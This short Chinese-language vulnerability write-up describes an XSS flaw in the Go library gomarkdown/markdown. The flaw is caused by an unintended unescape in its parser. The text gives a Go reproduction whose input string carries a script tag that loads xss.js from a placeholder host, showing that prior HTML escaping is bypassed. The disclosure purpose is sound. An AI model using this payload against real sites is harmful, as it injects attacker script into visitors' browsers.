前言
gomarkdown/markdown 是 Go 语言的一个流行模块,它旨在快速地将 Markdown 文档转化为 HTML 页面。而此次发现的漏洞,来源于作者在编写其语法树 Parser 的时候无意的一次 unescape。
漏洞复现
我们首先来看一段代码。
package main
import (
"fmt"
"github.com/gomarkdown/markdown"
"html"
)
func main() {
var textToRender = "```\"1;><script/src=\"http://HOST/xss.js\"></script>\n\n```\n"
var middleware = html.EscapeString(textToRender)
var result = markdown.ToHTML([]byte(middleware), nil, nil)
fmt.Println(string(result))
}